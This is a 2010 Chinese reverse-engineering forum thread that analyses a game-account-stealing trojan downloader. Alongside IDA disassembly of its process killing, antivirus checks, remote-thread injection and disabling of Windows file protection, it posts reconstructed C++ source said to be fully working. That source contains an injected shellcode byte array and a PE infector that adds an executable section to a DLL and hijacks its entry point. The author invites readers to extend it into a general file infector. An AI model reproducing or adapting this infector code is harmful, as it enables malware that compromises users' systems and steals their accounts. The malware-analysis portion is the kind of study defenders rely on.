一个木马的简单分析(附感染部分逆出来的源码,经过调试完全正确)
本帖最后由 bianfeng 于 2010-6-17 17:41 编辑【文章标题】: 某个下载器的简单分析
【文章作者】: bianfeng
【作者邮箱】: 99373089@qq.com
【作者QQ号】: 99373089
【使用工具】: OD1.1 + IDA5.5,VS 2008
【操作平台】: XP-SP3
主要行为:
1.结束游戏进程
2.感染d3d8.dll文件
3.调用sfc_os.dll的5号功能关闭文件保护,并替换掉原始文件
4.创建批处理删除自我
现在的游戏都依赖DX9.0文件(如dsound.dll,d3d9.dll,d3d8.dll等),通过感染d3d8.dll加载释放的文件mfcXXX.log到游戏进程中,搜索游戏的特征码达到盗号的目的
下面看看主函数
我相信经常逆向木马的朋友应该不会对此函数感到陌生吧UPX0:004021D6
UPX0:004021D6 public start
UPX0:004021D6 start proc near ; CODE XREF: UPX1:0040EA13j
UPX0:004021D6
UPX0:004021D6 var_C = dword ptr -0Ch
UPX0:004021D6
UPX0:004021D6 push esi
UPX0:004021D7 push edi
UPX0:004021D8 mov edi, 104h
UPX0:004021DD push edi ; Size
UPX0:004021DE call malloc
UPX0:004021E4 mov esi, eax
UPX0:004021E6 push edi ; Size
UPX0:004021E7 push 0 ; Val
UPX0:004021E9 push esi ; Dst
UPX0:004021EA call memset
UPX0:004021EF call KillGameProcess ; 结束游戏进程
UPX0:004021F4 push esi ; lpTempFileName
UPX0:004021F5 call sub_40201B ; 关键call
UPX0:004021FA add esp, 14h
UPX0:004021FD push esi ; lpFileName
UPX0:004021FE call DeleteFileA ; 删除释放的临时文件
UPX0:00402204 push esi ; Memory
UPX0:00402205 call free
UPX0:0040220B mov , offset dword_405394
UPX0:00402212 call DeleteSelf ; 创建批处理删除自我
UPX0:00402212 start endp
下面进入关键call sub_40201B 分析
生成随机文件名,并在临时目录释放文件
再把自身的附加数据添加到释放的临时文件中 1.临时目录生成MFCXXXX的临时文件
UPX0:00402055 push 71h ; 资源ID
UPX0:00402057 stosw
UPX0:00402059 push offset hResData ; 资源类型
UPX0:0040205E push esi ; lpFileName
UPX0:0040205F stosb
UPX0:00402060 mov , 'K'
UPX0:00402064 mov , 'e'
UPX0:00402068 mov , 'r'
UPX0:0040206C mov , 'n'
UPX0:00402070 mov , 'e'
UPX0:00402074 mov , 'l'
UPX0:00402078 mov , '3'
UPX0:0040207C mov , '2'
UPX0:00402080 mov , '.'
UPX0:00402084 mov , 'd'
UPX0:00402088 mov , 'l'
UPX0:0040208C mov , 'l'
UPX0:00402090 mov , bl
UPX0:00402093 mov , 'C'
UPX0:00402097 mov , 'o'
UPX0:0040209B mov , 'p'
UPX0:0040209F mov , 'y'
UPX0:004020A3 mov , 'F'
UPX0:004020A7 mov , 'i'
UPX0:004020AB mov , 'l'
UPX0:004020AF mov , 'e'
UPX0:004020B3 mov , 'A'
UPX0:004020B7 mov , bl
UPX0:004020BA call ReleaseTempFile ; 临时目录释放前缀为mfcXXX的文件
UPX0:004020BF add esp, 0Ch
UPX0:004020C2 test eax, eax ; 释放文件失败返回FALSE,成功则为TRUE
UPX0:004020C4 jz short loc_4020CD ; 释放文件失败跳跳走
UPX0:004020C6 2.自身的附加数据添加到临时文件中
UPX0:004020C6 push esi ; 释放的临时文件名
UPX0:004020C7 call AddAppendData ; 自身的附加数据写入到释放的临时文件
UPX0:004020CC pop ecx
复制临时扩展名为MFCXXXX.log(dll文件)文件到System目录中 临时文件复制到system目录
UPX0:004021A0 lea eax,
UPX0:004021A6 push ebx ; FailIfExists = FALSE
UPX0:004021A7 push eax ; NewFileNam
UPX0:004021A8 push ; ExistingFileName
UPX0:004021AB call ; 临时文件复制到system目录
InfectionFile 部分可以到IDA里面自己看太长了这里就不分析了,后面会有C++源码放出来UPX0:004021B0 jz short Ret ; 复制文件失败跳走
UPX0:004021B2 lea eax,
UPX0:004021B8 mov esi, offset aD3d8_dll ; "d3d8.dll"
UPX0:004021BD push eax
UPX0:004021BE push esi
UPX0:004021BF call InfectionFile ; 感染文件
UPX0:004021C4 pop ecx
UPX0:004021C5 test al, al
UPX0:004021C7 pop ecx
UPX0:004021C8 jz short Ret ; 感染失败跳走
UPX0:004021CA push esi
UPX0:004021CB call ReplaceFile ; 感染的d3d8.dll文件替换掉正常的d3d8.dll文件
UPX0:004021D0 pop ecx
进入ReplaceFile看看
首先通过建立进程快照是否有RavMonD.exe、360tray.exe进程存在。
如果存在则把建立远程线程把代码注入到conime.exe、ctfmon.exe、Explorer.exe、Iexplorer.exe其中的一个进程中调用sfc_os.dll的5号功能来关闭文件保护
如果不存在则直接调用sfc_os.dll的5号功能来关闭文件保护。UPX0:00402F1D mov , bl
UPX0:00402F20 call GetProcessId ; 360tray.exe
UPX0:00402F25 mov esi, eax
UPX0:00402F27 lea eax,
UPX0:00402F2A push eax
UPX0:00402F2B call GetProcessId ; RavMonD.exe
UPX0:00402F30 pop ecx
UPX0:00402F31 cmp esi, ebx
UPX0:00402F33 pop ecx
UPX0:00402F34 jnz short loc_402F48 ; 360tray.exe进程存在跳走
UPX0:00402F34 ; 有安全软件存在就跳走,并在其他进程中建立远程线程,来关闭文件保护
UPX0:00402F36 cmp eax, ebx
UPX0:00402F38 jnz short loc_402F48 ; RavMonD.exe进程存在跳走
UPX0:00402F3A push ; lpszDllFileName
UPX0:00402F3D call FileProtect ; 去除文件保护
UPX0:00402F42 pop ecx
UPX0:00402F43 jmp loc_403040
UPX0:00402F48 ; ---------------------------------------------------------------------------
UPX0:00402F48
UPX0:00402F48 loc_402F48: ; CODE XREF: CloseFileProtect+80j
UPX0:00402F48 ; CloseFileProtect+84j
UPX0:00402F48 lea eax,
UPX0:00402F4B mov , 'c'
UPX0:00402F4F push eax ; lpszZhengtu_dat
UPX0:00402F50 mov , 'o'
UPX0:00402F54 mov , 'n'
UPX0:00402F58 mov , 'i'
UPX0:00402F5C mov , 'm'
UPX0:00402F60 mov , 'e'
UPX0:00402F64 mov , '.'
UPX0:00402F68 mov , 'e'
UPX0:00402F6C mov , 'x'
UPX0:00402F70 mov , 'e'
UPX0:00402F74 mov , bl
UPX0:00402F77 mov , 'c'
UPX0:00402F7B mov , 't'
UPX0:00402F7F mov , 'f'
UPX0:00402F83 mov , 'm'
UPX0:00402F87 mov , 'o'
UPX0:00402F8B mov , 'n'
UPX0:00402F8F mov , '.'
UPX0:00402F93 mov , 'e'
UPX0:00402F97 mov , 'x'
UPX0:00402F9B mov , 'e'
UPX0:00402F9F mov , bl
UPX0:00402FA2 mov , 'e'
UPX0:00402FA6 mov , 'x'
UPX0:00402FAA mov , 'p'
UPX0:00402FAE mov , 'l'
UPX0:00402FB2 mov , 'o'
UPX0:00402FB6 mov , 'r'
UPX0:00402FBA mov , 'e'
UPX0:00402FBE mov , 'r'
UPX0:00402FC2 mov , '.'
UPX0:00402FC6 mov , 'e'
UPX0:00402FCA mov , 'x'
UPX0:00402FCE mov , 'e'
UPX0:00402FD2 mov , bl
UPX0:00402FD5 mov , 'I'
UPX0:00402FD9 mov , 'E'
UPX0:00402FDD mov , 'X'
UPX0:00402FE1 mov , 'P'
UPX0:00402FE5 mov , 'L'
UPX0:00402FE9 mov , 'O'
UPX0:00402FED mov , 'R'
UPX0:00402FF1 mov , 'E'
UPX0:00402FF5 mov , 'R'
UPX0:00402FF9 mov , '.'
UPX0:00402FFD mov , 'E'
UPX0:00403001 mov , 'X'
UPX0:00403005 mov , 'E'
UPX0:00403009 mov , bl
UPX0:0040300C call GetProcessId ; Conime.exe
UPX0:00403011 cmp eax, ebx
UPX0:00403013 pop ecx
UPX0:00403014 jnz short RemoteThread ; 进程存在跳走,建立远程线程
UPX0:00403016 lea eax,
UPX0:00403019 push eax
UPX0:0040301A call GetProcessId ; IEXPLORER.EXE
UPX0:0040301F cmp eax, ebx
UPX0:00403021 pop ecx
UPX0:00403022 jnz short RemoteThread ; 进程存在跳走,建立远程线程
UPX0:00403024 lea eax,
UPX0:00403027 push eax
UPX0:00403028 call GetProcessId ; ctfmon.exe
UPX0:0040302D cmp eax, ebx
UPX0:0040302F pop ecx
UPX0:00403030 jnz short RemoteThread ; 进程存在跳走,建立远程线程
UPX0:00403032 lea eax,
UPX0:00403035 push eax
UPX0:00403036 call GetProcessId ; exolorer.exe
UPX0:0040303B cmp eax, ebx
UPX0:0040303D pop ecx
UPX0:0040303E jnz short RemoteThread ; 进程存在跳走,建立远程线程
UPX0:00403040
UPX0:00403040 loc_403040: ; CODE XREF: CloseFileProtect+8Fj
UPX0:00403040 mov al, 1
UPX0:00403042 jmp short loc_40305C
UPX0:00403044 ; ---------------------------------------------------------------------------
UPX0:00403044
UPX0:00403044 RemoteThread: ; CODE XREF: CloseFileProtect+160j
UPX0:00403044 ; CloseFileProtect+16Ej ...
UPX0:00403044 push ; int
UPX0:00403047 push
UPX0:0040304A push
UPX0:0040304D push eax ; dwProcessId
UPX0:0040304E call sub_402B0B ; 其他进程中建立远程线程,来关闭文件保护
UPX0:00403053 add esp, 10h
UPX0:00403056 neg al
里面的就不发了
下面附上逆出来的感染部分源码// Example.cpp : 定义应用程序的入口点。
//
#include "stdafx.h"
#include "Example.h"
//下面代码是从OD里面提取出来的
unsigned char Code[] = { 0x83, 0x7C, 0x24, 0x08, 0x01, 0x75, 0x0C, 0x60, 0x90, 0x9C, 0xE8, 0x0F, 0x00, 0x00, 0x00, 0x9D, 0x54, 0x5C, 0x61, 0x33, 0xD2, 0x85, 0xD2, 0x90, 0x0F, 0x84, 0x17, 0x01, 0x00,
0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x38, 0x53, 0x33, 0xC0, 0x56, 0x57, 0xC7, 0x45, 0xD8, 0x47, 0x65, 0x74, 0x50, 0xC7, 0x45, 0xDC, 0x72, 0x6F, 0x63, 0x41, 0xC7, 0x45, 0xE0, 0x64, 0x64, 0x72,
0x65, 0xC7, 0x45, 0xE4, 0x73, 0x73, 0x00, 0x00, 0x89, 0x45, 0xFC, 0x89, 0x45, 0xF8, 0x60, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x40, 0x08,
0x89, 0x45, 0xFC, 0x8B, 0xD0, 0x8B, 0x42, 0x3C, 0x8D, 0x44, 0x10, 0x78, 0x8B, 0x00, 0x8B, 0x4C, 0x02, 0x18, 0x8B, 0x5C, 0x02, 0x20, 0x03, 0xDA, 0x49, 0x90, 0x85, 0xC9, 0x90, 0x74, 0x39, 0x8D,
0xBD, 0xD8, 0xFF, 0xFF, 0xFF, 0x8B, 0x34, 0x8B, 0x03, 0xF2, 0x51, 0x50, 0xB8, 0x09, 0x00, 0x00, 0x00, 0x83, 0xC0, 0x06, 0x8B, 0xC8, 0x58, 0xF3, 0xA6, 0x85, 0xC9, 0x59, 0x75, 0xDA, 0x8B, 0x74,
0x02, 0x24, 0x03, 0xF2, 0x0F, 0xB7, 0x34, 0x4E, 0x8B, 0x7C, 0x02, 0x1C, 0x03, 0xFA, 0x8B, 0x3C, 0xB7, 0x03, 0xFA, 0x89, 0x7D, 0xF8, 0xEB, 0x07, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x61,
0x8B, 0x4D, 0xFC, 0x33, 0xFF, 0x3B, 0xCF, 0x74, 0x66, 0x8B, 0x45, 0xF8, 0x3B, 0xC7, 0x74, 0x5F, 0x8D, 0x55, 0xE8, 0x52, 0x51, 0xC6, 0x45, 0xE8, 0x4C, 0xC6, 0x45, 0xE9, 0x6F, 0xC6, 0x45, 0xEA,
0x61, 0xC6, 0x45, 0xEB, 0x64, 0xC6, 0x45, 0xEC, 0x4C, 0xC6, 0x45, 0xED, 0x69, 0xC6, 0x45, 0xEE, 0x62, 0xC6, 0x45, 0xEF, 0x72, 0xC6, 0x45, 0xF0, 0x61, 0xC6, 0x45, 0xF1, 0x72, 0xC6, 0x45, 0xF2,
0x79, 0xC6, 0x45, 0xF3, 0x41, 0x89, 0x7D, 0xF4, 0xFF, 0xD0, 0x54, 0x5C, 0x3B, 0xC7, 0x74, 0x1F, 0x8B, 0xF8, 0xE8, 0x01, 0x00, 0x00, 0x00, 0x90, 0x5B, 0x8D, 0x73, 0x50, 0x8A, 0x0E, 0x84, 0xC9,
0x74, 0x0D, 0x8D, 0x56, 0x06, 0x52, 0xFF, 0xD7, 0x90, 0x83, 0xC6, 0x11, 0x90, 0xEB, 0xED, 0x5F, 0x5E, 0x90, 0x5B, 0x90, 0x8B, 0xE5, 0x5D, 0xC3, 0x90, 0x90, 0xE8, 0x10, 0x00, 0x00, 0x00, 0x33,
0xD2, 0x52, 0x5A, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x59, 0x8B, 0x59, 0x21, 0x03, 0xCB, 0x83, 0xC1, 0x04, 0x8B, 0xD1, 0x52, 0x90, 0xC3, 0x90, 0x90, 0x90,
0xC2, 0x08, 0xF0, 0xFF, 0x90, 0x00, 0x00};
class UnknowClass
{
public:
PVOID lpFile; // 原始文件
DWORD dwSizeOfFile; // 文件大小
PIMAGE_DOS_HEADER lpDosHeader; // 指向Dos头
PVOID lpDosStub; // 指向Dos Stub
DWORD dwSizeOfDosStub; // Dos Stub大小
DWORD dwSizeOfDosHeader; // DOS头大小
PIMAGE_NT_HEADERS32 lpNTHeaders; // 指向PE头
PIMAGE_SECTION_HEADER lpSectionHeaders; // 节表头数组
PVOID lpSectionRawData; // 节区数
public:
UnknowClass();
BOOL CopyFileToMemory(LPSTR lpszFileName);
DWORD Alignment(DWORD dwSize, DWORD dwAlign);
BOOL IsInfection(LPCSTR lpszSectionName, LPCSTR lpszDllFile);
void CorrectPEHeaders(LPCSTR lpszNewSectionName, DWORD dwSizeOfCode, LPCSTR lpszLibName);
int WriteInfectionCode(LPCSTR lpFileName);
};
int UnknowClass::WriteInfectionCode(LPCSTR lpFileName)
{
DWORD NumberOfBytesWritten;
int dwNumberOfSections;
DWORD dwSectionsOffset;
int dwCount;
HANDLE hFile;
NumberOfBytesWritten = 0;
hFile = CreateFileA(lpFileName, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); //判断是否存在
if ( hFile == INVALID_HANDLE_VALUE )
{
hFile = CreateFileA(lpFileName, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if ( hFile == INVALID_HANDLE_VALUE )
{
return -1;
}
}
// sub_4022A5((int)this1);
//计算出添加节以后的文件大小. 最后的PointerToRawData + SizeOfRawData = 文件大小
this->dwSizeOfFile = this->lpSectionHeaders->PointerToRawData +
this->lpSectionHeaders->SizeOfRawData;
this->lpFile = GlobalAlloc(GPTR, this->dwSizeOfFile);
if ( !this->lpFile)
{
CloseHandle(hFile);
return -1;
}
//复制DOS头
memcpy(this->lpFile, (const void *)this->lpDosHeader, sizeof(IMAGE_DOS_HEADER));
////复制DOS Stub
if ( !(this->dwSizeOfDosStub & 0x80000000) )
memcpy((void *)((LPSTR)this->lpFile + this->dwSizeOfDosHeader), (const void *)this->lpDosStub, this->dwSizeOfDosStub);
//复制NT头
memcpy((void *)((LPSTR)this->lpFile + this->lpDosHeader->e_lfanew), (const void *)this->lpNTHeaders, sizeof(IMAGE_NT_HEADERS));
//复制节表头
dwNumberOfSections = this->lpNTHeaders->FileHeader.NumberOfSections;
if ( dwNumberOfSections )
{
dwSectionsOffset = 0;
dwCount = 0;
do
{
memcpy((void *)((LPSTR)this->lpFile + this->lpDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + dwSectionsOffset),
(const void *)this->lpSectionHeaders,
sizeof(IMAGE_SECTION_HEADER));
dwSectionsOffset += sizeof(IMAGE_SECTION_HEADER);
dwCount++;
}while ( dwCount < dwNumberOfSections );
//复制节区数据
if ( dwNumberOfSections )
{
dwCount = 0;
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER )((LPSTR)this->lpFile +this->lpDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
do
{
memcpy(
(void *)((LPSTR)this->lpFile + pSectionHeader->PointerToRawData),
(const void *)this->lpSectionRawData,
this->lpSectionHeaders->SizeOfRawData);
pSectionHeader = (PIMAGE_SECTION_HEADER)((LPSTR)pSectionHeader + sizeof(IMAGE_SECTION_HEADER));
dwCount++;
}while (dwCount < dwNumberOfSections);
}
}
SetFilePointer(hFile, NULL, NULL, FILE_BEGIN);
WriteFile(hFile, (LPCVOID)this->lpFile, this->dwSizeOfFile, &NumberOfBytesWritten, 0);//写入文件
SetFilePointer(hFile, this->dwSizeOfFile, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
CloseHandle(hFile);
return (int)GlobalFree((HGLOBAL)this->lpFile);
}
void UnknowClass::CorrectPEHeaders(LPCSTR lpszNewSectionName, DWORD dwSizeOfCode, LPCSTR lpszLibName)
{
DWORD dwSizeOfRawData;
DWORD dwPointerToRawData;
DWORD dwVirtualAddress;
DWORD dwVirtualSize;
int nOldAddressOfEntryPoint;
// DWORD dwNewAddressOfEntryPoint;
//算出原始数据大小和原始指针
dwSizeOfRawData = Alignment(dwSizeOfCode, this->lpNTHeaders->OptionalHeader.FileAlignment);
dwPointerToRawData = Alignment(this->lpSectionHeaders->PointerToRawData +
this->lpSectionHeaders->SizeOfRawData,
this->lpNTHeaders->OptionalHeader.FileAlignment);
//算出相对虚拟地址与虚拟大小
dwVirtualAddress = Alignment(this->lpSectionHeaders->VirtualAddress +
this->lpSectionHeaders->Misc.VirtualSize,
this->lpNTHeaders->OptionalHeader.SectionAlignment);
dwVirtualSize = Alignment(dwSizeOfRawData,this->lpNTHeaders->OptionalHeader.SectionAlignment);
//修正节表
memset(this->lpSectionHeaders, 0, sizeof(IMAGE_SECTION_HEADER));
this->lpSectionHeaders->VirtualAddress = dwVirtualAddress;
this->lpSectionHeaders->Misc.VirtualSize = dwVirtualSize;
this->lpSectionHeaders->PointerToRawData = dwPointerToRawData;
this->lpSectionHeaders->SizeOfRawData = dwSizeOfRawData;
this->lpSectionHeaders->Characteristics = IMAGE_SCN_MEM_EXECUTE |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_CNT_INITIALIZED_DATA;
memcpy(this->lpSectionHeaders->Name, lpszNewSectionName, strlen(lpszNewSectionName));
//修正NT头
lpSectionRawData = ::GlobalAlloc(GPTR, dwSizeOfRawData);
lpNTHeaders->FileHeader.NumberOfSections++;
nOldAddressOfEntryPoint = lpNTHeaders->OptionalHeader.AddressOfEntryPoint;
nOldAddressOfEntryPoint -= dwVirtualAddress;
nOldAddressOfEntryPoint -= 0x140;
lpNTHeaders->OptionalHeader.AddressOfEntryPoint = dwVirtualAddress;
lpNTHeaders->OptionalHeader.SizeOfImage += dwVirtualSize;
lpNTHeaders->OptionalHeader.SizeOfCode += dwSizeOfRawData;
lpNTHeaders->OptionalHeader.SizeOfHeaders += dwSizeOfRawData;
// 抹掉Load Config Table
lpNTHeaders->OptionalHeader.DataDirectory.VirtualAddress = 0;
lpNTHeaders->OptionalHeader.DataDirectory.Size = 0;
//抹掉Bound Import
lpNTHeaders->OptionalHeader.DataDirectory.VirtualAddress = 0;
lpNTHeaders->OptionalHeader.DataDirectory.Size = 0;
//抹掉IAT
lpNTHeaders->OptionalHeader.DataDirectory.VirtualAddress = 0;
lpNTHeaders->OptionalHeader.DataDirectory.Size = 0;
//复制感染的代码到内存中,并写入感染标记和加载的库名
memcpy(lpSectionRawData, Code, sizeof(Code));
*(PDWORD)((LPSTR)lpSectionRawData + 0x15D) = nOldAddressOfEntryPoint;
*((LPSTR)lpSectionRawData + 0x164) = 0x1;
*((LPSTR)lpSectionRawData + 0x165) = 0x70;
memcpy((LPSTR)lpSectionRawData + 0x166 , "ZT", 4); //感染标记
memcpy((void *)((LPSTR)lpSectionRawData + 0x16A), (const void *)lpszLibName, strlen(lpszLibName));
//strcpy((LPSTR)((LPSTR)lpSectionRawData + 0x16A),lpszLibName); //加载的库名
return;
}
DWORD UnknowClass::Alignment(DWORD dwSize, DWORD dwAlign)
{
return dwAlign * ((dwSize + dwAlign - 1) / dwAlign);
}
UnknowClass::UnknowClass() //构造函数
{
int i = 0;
this->dwSizeOfDosStub = NULL;
this->lpDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER));
this->lpNTHeaders = (PIMAGE_NT_HEADERS32)malloc(sizeof(IMAGE_NT_HEADERS32));
do
{
lpSectionHeaders = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER));
i++;
}while(i < 20);
}
BOOL UnknowClass::IsInfection(LPCSTR lpszSectionName, LPCSTR lpszDllFile)
{
// char SectionRawData;
// int dwNumberOfSections;
if(this->lpNTHeaders->FileHeader.NumberOfSections > 0)
{
int Count;
for(Count = 0; Count < this->lpNTHeaders->FileHeader.NumberOfSections; Count++)
{
if(!::_strcmpi((LPSTR)this->lpSectionHeaders->Name,lpszSectionName)) //有节表名相同停止循环
{
//比较感染标记
return TRUE;
}
//break;
}
//if(Count < this->lpPEHeaders->FileHeader.NumberOfSections)
//{
// if(*((PDWORD)this->lpSectionRawData + 0x165) < 0x70) //比较感染标记
// {
// RtlZeroMemory(SectionRawData, sizeof(SectionRawData));
// memcpy(SectionRawData, this->lpSectionRawData, 0x163);
// memcpy(this->lpSectionRawData, Code, sizeof(Code));
// }
// if(*((PDWORD)this->lpSectionRawData + 0x164) <= 0)
// {
// }
//}
}
return FALSE;
}
BOOL UnknowClass::CopyFileToMemory(LPSTR lpszFileName)
{
SIZE_T dwAlign;
DWORD NumberOfBytesRead = 0;
int NumberOfSections;
HANDLE hFile;
int dwSectionOffset;
//打开文件
hFile = CreateFileA(lpszFileName,
GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if ( hFile == INVALID_HANDLE_VALUE )
return FALSE;
//获取文件大小并分配文件大小的空间
this->dwSizeOfFile = GetFileSize(hFile, NULL);
if ( !this->dwSizeOfFile )
{
CloseHandle(hFile);
return FALSE;
}
this->lpFile = (PVOID)GlobalAlloc(GPTR, this->dwSizeOfFile);
if ( !this->lpFile )
{
CloseHandle(hFile);
return FALSE;
}
//读取文件到内存中
ReadFile(hFile, this->lpFile, this->dwSizeOfFile, &NumberOfBytesRead, NULL);
CloseHandle(hFile);
this->dwSizeOfDosHeader = sizeof(IMAGE_DOS_HEADER); //DOS头大小
//复制DOS头
memcpy((PVOID)this->lpDosHeader, this->lpFile, sizeof(IMAGE_DOS_HEADER));
this->dwSizeOfDosStub = this->lpDosHeader->e_lfanew - sizeof(IMAGE_DOS_HEADER); //计算出Dos Stub大小
//复制Dos Stub
this->lpDosStub = malloc(this->dwSizeOfDosStub);
if ( !(this->dwSizeOfDosStub & 0x80000000) )
memcpy(this->lpDosStub, (PVOID)((LPSTR)this->lpFile + sizeof(IMAGE_DOS_HEADER)), this->dwSizeOfDosStub);
//复制PE头
memcpy((PVOID)this->lpNTHeaders, (PVOID)((LPSTR)this->lpFile + this->lpDosHeader->e_lfanew), sizeof(IMAGE_NT_HEADERS32));
if ((this->lpDosHeader->e_magic == 0x5A4D) && (this->lpNTHeaders->Signature == 0x4550))
{
NumberOfSections = this->lpNTHeaders->FileHeader.NumberOfSections;
if ( NumberOfSections )
{
dwSectionOffset = 0;
int j = 0;
//复制所有节表到内存中
do
{
memcpy((PVOID)this->lpSectionHeaders,
(PVOID)(this->lpDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32) + (LPSTR)this->lpFile + dwSectionOffset),
sizeof(IMAGE_SECTION_HEADER));
dwSectionOffset += sizeof(IMAGE_SECTION_HEADER);
j++;
}while (j < NumberOfSections);
//复制节区到内存中
if ( NumberOfSections )
{
int k = 0;
do
{
dwAlign = this->Alignment(this->lpSectionHeaders->SizeOfRawData,
this->lpNTHeaders->OptionalHeader.FileAlignment);
this->lpSectionRawData = GlobalAlloc(GPTR, dwAlign);
memcpy(this->lpSectionRawData, (PVOID)((LPSTR)this->lpFile + this->lpSectionHeaders->PointerToRawData),
this->lpSectionHeaders->SizeOfRawData);
k++;
}
while ( k < NumberOfSections);
}
}
}
else
{
return FALSE;
}
GlobalFree(this->lpFile);
return TRUE;
}
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
int i = 200%100;
UnknowClass a;
//文件复制到内存
a.CopyFileToMemory("D:\\SystemDirectory\\桌面\\httpapi.dll"); //要感染的dll文件
//比较感染标记和节区名判断文件是否感染
a.IsInfection("aaa", //新节表名
"d3d9.dll"); //要加载的库名
a.CorrectPEHeaders("aaa",512, //新节表名
"d3d9.dll"); //要加载的库名
a.WriteInfectionCode("D:\\SystemDirectory\\桌面\\httpapi.dll" // //要感染写入代码的dll文件
);
return 0;
}
好热回家了,如果有错或不对的地方明天再来更改 ...打我PG我不乖...
用黑镜头看了下,比较有意思 牛人,膜拜下 强人啊...{:3_81:} 楼主直接带壳调试? 楼主直接带壳调试?
riusksk 发表于 2010-6-17 15:10 http://www.unpack.cn/images/common/back.gif
upx壳..所以脱了 不错 万般膜拜+崇拜! 不错,学习了 标题:一个木马的简单分析(附感染部分逆出来的源码,经过调试完全正确)
链接:http://www.unpack.cn/thread-51257-1-1.html
贴者:bianfeng
日期: 2010-6-22 10:29
upx最好用skylly的脱壳机来脱.脱出来的东西比较干净
成员变量一般设置为private
成员变量一般命名为m_xxxx upx最好用skylly的脱壳机来脱.脱出来的东西比较干净
成员变量一般设置为private
成员变量一般命名为m_xxx ...
鹭影依凌 发表于 2010-6-25 09:54 http://www.unpack.cn/images/common/back.gif
大半年没有写代码了,忘了,谢谢提醒!!
其他功能希望大家自己完成吧,由于保持了原汗原味,没作太多更改,此类的灵活性不好,可以改成一个非常好的类用来感染文件。
还有析构函数忘了写,没有释放内存。 学习了,谢谢楼主分享 谢谢楼主了!
页:
[1]
2